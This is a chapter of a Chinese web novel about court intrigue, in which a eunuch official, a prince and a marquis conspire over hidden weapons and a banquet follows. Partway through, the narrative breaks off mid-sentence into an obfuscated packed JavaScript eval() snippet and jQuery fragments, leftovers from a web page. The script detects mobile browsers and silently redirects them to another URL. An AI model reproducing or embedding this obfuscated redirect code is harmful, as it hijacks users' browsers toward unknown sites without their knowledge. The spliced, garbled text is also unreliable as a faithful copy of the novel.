45. 不怀好意

作品:《这个掌印不太冷

    月慈已经站在月门下看了有一会儿了。


    不是说司礼监掌印手段阴狠,人人为之厌弃,恨不得杀之而后快么,她看他倒是和别人聊挺欢快的,不像是被人厌弃的样子。


    月慈说不出此刻是个什么感受,如果非要形容的话,就像是她在路边捡到了一只被人丢弃的小狗,他们相依为命,小狗只会朝她摇尾巴,舔她的手,直到有一天她看到小狗也会和别人愉快的玩耍。


    明明她的小狗也会被其他人喜爱是一件值得高兴的事,就像孩子得到别人的夸赞父母也会心生自豪,但那一瞬间,月慈脑海中万千思绪化作了泥沼,只生出了一个念头来:不许。


    不许不许不许不许不许……


    直到闻鉴走近,月慈思绪回笼,眸中阴翳还未完全褪去,将眼静静望着他,是连自己都不曾意识到的哀怨。


    闻鉴第一次见她露出这副神情,让他莫名有种被抓包的心虚,抿了抿唇后,试探问:“如何?”


    月慈扯了点嘴角,似笑非笑道:“挺漂亮的姑娘,明艳动人。”


    闻鉴愣了一下,继而眉眼染了笑意:“我问的是你观察到的情况,你说的是什么?”


    月慈:“……”那点似是而非的笑也从脸上隐去了,但耳根却显而易见地红了起来。


    闻鉴似有所感,漆黑的眸子里藏不住地亮了一点光,瞥了眼抱着猫的少女,慢悠悠道:“哦,原来你说的是金宣啊。”


    月慈狠狠瞪了他一眼,正要说话,门前忽然有人扯着嗓子喊了一声:“德亲王到——”


    闻鉴的笑凝固在了脸上,连眼中的光也终归寂灭。


    月慈好奇地转头看去。


    数十名仆从从门外走了进来,他们手中端着垫了红绒布的盘子,里面盛放着各式各样的贺礼,有美玉或黄金,还有几人合力抬着一尊半人高的白玉佛像。


    身着紫袍华服的男人最后才闲庭信步地出现。


    先前在飞鸟阁的时候,月慈只听到二人对话,但并未见到尉迟炯本人,如今才算是亲眼见到了。那是一张看上去就很贵气的脸,五官硬朗,眉骨挺拓,眼中部位却像是蒙了一层黑白的阴翳,叫人第一眼看上去并不舒服。


    他走姿极其倨傲,总是微抬着下巴看人,扫视四周一圈,目光只在闻鉴的方向上多做了停留,随后,月慈与他对上了视线。


    仅仅一瞬,月慈看到他似乎是咧嘴笑了一下,是不怀好意的神色。


    月慈蹙眉,感觉心脏在胸腔中高高跃起,以至于她下意识便探出了袖箭的刀刃。


    很快,一只手背悄然靠了过来,轻轻触了触她的手。月慈回过神,收回视线,将头低了下去。


    尉迟炯看向身边的管家:“母亲身子不适,今日就不来了。侯爷呢?”


    管家毕恭毕敬道:“侯爷他早起时觉得身子不适,暂时先在屋内休息了,只待晚些宴席开始,身子好些了再出来。”


    尉迟炯不知是想到什么,嗤笑了一声,又道:“那本王便先去看看侯爷。”


    他转头,直直看向闻鉴,“掌印也跟本王一道吧。”


    这种时候月慈不便跟去,只能看着闻鉴和尉迟炯一道离开,心中隐约感觉不妙。


    ——


    庭院秋深,风急料峭。闻鉴拢了拢身上的大氅,跟在尉迟炯的斜后方步入游廊。


    人都在前厅,此刻四下寂静,只剩两人交错的脚步声。


    尉迟炯注定是个闭不上嘴的人,尤其是在闻鉴面前,他逮到机会便想奚落一番,于是开口道:“方才那个站在掌印身后的侍女,莫非就是掌印的女人?”


    闻鉴脸上一片死寂之色,闻言只道:“殿下错了,她不是我的女人。”顿了顿,又慢悠悠补了半句,“她是她自己的。”


    如果他的香囊等同于铃铛,那么应该换个说法,他是她的才对。


    尉迟炯闻言只觉得好笑,大概是因为生平没有听过这么荒唐的话。


    他讥笑一声,道:“难怪你不是个男人,没根的东西才会说出这种窝囊的话来。”


    这种诋毁的话,闻鉴向来懒得辩驳,他神情淡淡,再次陷入沉默。尉迟炯见他这副死样,也懒得继续再说,毕竟今日还有更重要的事要做。


    两人实际上并不是去定文侯房间的方向,穿过游廊后还要拐进一条隐秘的小径,直通一处隐蔽在林中的屋子。


    闻鉴倒是第一次来这地方,偶尔会用余光扫视周围。


    屋子那已有仆从等候,见到他们来,便为两人打开房门。


    里面原是十分空旷的,但因为摆了许多个大红木箱子,看上去便有些拥挤。


    箱子前站了一个穿着无袖土色圆领的男人,身形清瘦,原是背对着他们,听到声音,那人咳嗽了两声,才缓缓回过头来。


    是一张有些沧桑的面容,脸颊瘦削,一副没什么精气神的样子,然而看上去慈眉善目的,很是和蔼。


    他微笑道:“你们来了。”


    尉迟炯调侃道:“侯爷这病好的真快啊,这么会儿功夫都能下床了。”


    金庭之声音温温和和的:“病不病的,都是人说了算。”


    他看向尉迟炯身后的闻鉴,“听说掌印这次带了不少心意来,不妨大家一起看看?”


    “当然。”闻鉴上手将红木箱盖打开,露出里面的金银,随后将手探进箱壁,摸到机关一掰,那面上一层装了奇珍异宝掩人耳目的格子便弹了起来。


    下面,才是他真正要送的东西。


    尉迟炯和金庭之凑上前来,看到红木箱底堆满了崭新的刀剑。


    金庭之眼前一亮,拿起一把长刀在眼前细细端详起来,赞叹道:“确实不错,刚劲有力,锋利无双。”


    闻鉴道:“都是从西山暗矿里出来的,先前因为柳行云的介入耽搁了一段时间,好在为时不晚。”


    金庭之放下刀,叹道:“柳太师是个好人,可惜,太过刚正死板。若不是被他发现了暗矿的事,咱们也犯不着杀他。”


    尉迟炯嗤道:“就算他没发现暗矿,此人也留不得。”


    他故意看向闻鉴,“你说对吧,掌印?”


    闻鉴面色不改,淡淡道:“殿下说的不错,不懂变通的人留着迟早是个祸害,杀便杀了。”


    于是尉迟炯笑了起来,面带得意地看向金庭之,道:“舅舅你看,我就说他听话吧。”


    金庭之瞥一眼闻鉴,一拂衣袖,淡淡道:“好了,这批兵器我看着不错,可以命人下去加以打造了。”


    他舒坦地挺直了脊背,像是卸下了肩上的重担,“好啊,多年谋划终归要结束了。”


    说完宽慰地拍了拍闻鉴的肩,感慨道:“一路以来掌印也辛苦了,待日后炯儿登位,必定许掌印日后更风光的前程。”


    风光?风光大葬么?


    闻鉴无比清楚这家人的德行,哪怕每张对外的面孔不一样,但骨子里都是相同的。


    悬崖上的冥夜毒,他可不敢忘记。


    不多时,外面有人通报,说是陛下就要到了,几人这才收起各异的心思,回到前厅。


    ——


    月慈方才低声问青雀到底要自己看什么,青雀只让她等,然后她便等到了陛下驾到的消息。


    此时闻鉴从长廊另一头出现,月慈上下将他打量了一番,见他神色淡淡,衣角依旧整洁,随后她感觉到有人在看着自己,微微偏头,又对上尉迟炯那双满是阴翳的眸子。


    看见那双眼睛,月慈便是说不出的讨厌。


    忽然,外面传来响亮悠扬的一声:“陛下到——”


    侍从们最先跪了下去,月慈也不例外,跟着跪下,其余宾客则一脸肃穆,恭恭敬敬朝着来人行礼。


    月慈悄悄抬头去看那位九五至尊,先是看见明黄的衣襟上,用极好的各色羽线绣出龙纹,一针一线象征不可攀比的华贵,以及那不可逾越的威严。


    一路往上,是一张还算年轻端正的脸,但看着有几分消瘦。剑眉入鬓,他和尉迟炯作为兄弟眉眼有些相似,只是尉迟炯的眼睛看上去太过锐利直白,藏不住事,这位帝王却显得要讳莫如深些。


    尉迟泓身边还跟着一位年轻的女子——当今陛下并未立后,此人应该是一位妃子。生了一副明艳大气的长相,穿着一件鹅黄色的宫装,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245197|156122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和尉迟泓站在一起看着倒是般配。


    侍从们好奇偷看也是人之常情,月慈只瞧了一眼便收回目光。


    尉迟鸿带来的贺礼流水似的进了候府,看着毫不吝啬。


    虽说这位陛下在众人眼里是位昏庸无能的形象,但他未到之前,没人敢先开宴席。


    这是规矩。


    哪怕明争暗斗,也得做好表面功夫。


    是以,尉迟鸿入座后,四下才响起鼓乐之声,仙娥般的舞姬白衣飘然入内,长袖翩翩。


    正中首位当是尉迟鸿,他身边坐着那位年轻的妃嫔,方才月慈听到她喊金庭之父亲,想必她就是那位太后的侄女,如今宫中最得宠的祺妃。


    左边首位自然是定文侯金庭之,右边首位则是尉迟炯。


    原本闻鉴是不该坐在落座的——虽说是司礼监掌印,但这个场合落座其中并不合适。


    然,尉迟鸿发话道:“掌印也坐吧。”


    闻鉴便也不推辞,坐在了席间左顺第二位。


    这位帝王似乎格外爱热闹,总唤着众人喝酒,偏生自己酒量不行,没一会儿就红了脸。


    月慈上前给闻鉴倒酒,对方才端起来,凑到唇前时却停住了。


    余光斜落在旁边的人,低声道:“茶?”


    月慈弯腰,低声道:“怎么,自己什么身子不清楚,你还想喝酒?”


    闻鉴但笑不语,将杯中清茶一饮而尽,回味甘甜。


    月慈正要退回去,忽然听见有人道:“早听闻掌印不近女色,今日竟带了侍女来,还是……”


    那人不着调的顿了顿,将月慈从头到脚光明正大打量了个遍,笑道,“还是个如此绝色的美人。”


    闻鉴饮茶的动作一顿,目光从杯盏上方穿过,冰冷而锐利地看向坐在对面的德亲王尉迟炯。


    尉迟炯佯装看不见那道目光,朝着月慈的方向轻佻地抬一抬手:“来美人,也为本王斟酒一杯。”


    闻鉴重重将杯盏一放:“殿下难道没有自己的侍女吗?”


    尉迟炯照旧没脸没皮,似乎有意跟他抬杠:“本王的侍女都太过庸俗,不及掌印身边那位。掌印看上去这般不情愿,难不成是对这侍女有什么别的意思?”


    宴间宾客一时间都看了过来。


    金庭之脸色一黑,心道这没用的外甥又是老毛病犯了,开始不分场合的发疯。


    闻鉴淡淡道:“奴才只是担心这侍女手拙粗笨,恐伺候不了殿下。”


    月慈心想,你才粗笨。


    面上却做出一副唯唯诺诺的样子来。


    尉迟鸿古怪地看一眼闻鉴,又打量月慈一番,带着醉意哈哈一笑道:“不过这丫头确实好看,不如到朕跟前来替朕斟酒!”


    他一脸醉态,咬词含糊不清,月慈悄悄抬眸撇扫一眼,却有一瞬觉得对方分外清醒。


    天子既发话,她不得不从。


    闻鉴微微蹙眉,不知道在想什么。


    月慈脚下刚动了半步,那久未开口的祺妃忽然侧身朝尉迟鸿靠去,贴着他的肩侧,声音并不响亮,却足够所有人听见:“陛下有臣妾一个还不够么,非要当着臣妾的面让别的女人斟酒。”


    媚态十足,却不做作,只是像一个小鸟依人的妻子,对着丈夫娇嗔。


    尉迟鸿便将眼中的清明藏了藏,大手揽过祺妃的肩,痴醉一笑,仿佛此事过罢。


    可尉迟炯却不打算这么放过她。


    固执地看向月慈:“过来。”


    月慈面色平静地朝尉迟炯走去,为他倒酒。


    那双阴鸷的,不怀好意的目光便在她身上流连。


    月慈恨不得直接戳瞎那双眼睛。只是刚起念头,手便被人猛地一把扣住,酒水溢出在桌上。


    月慈心中一惊,不是惊别的,只是庆幸自己先前防止露出马脚,有意先卸下了袖剑。


    此时腕如扶柳,纤然一握。


    闻鉴这个角度自是能看到一切,当即拉下了整张脸来,一声不吭,目光却如一把锋利而冰冷的刀,落在了尉迟炯的手上。


    他之前从未有过像现在这一刻般,想砍了那家伙的手。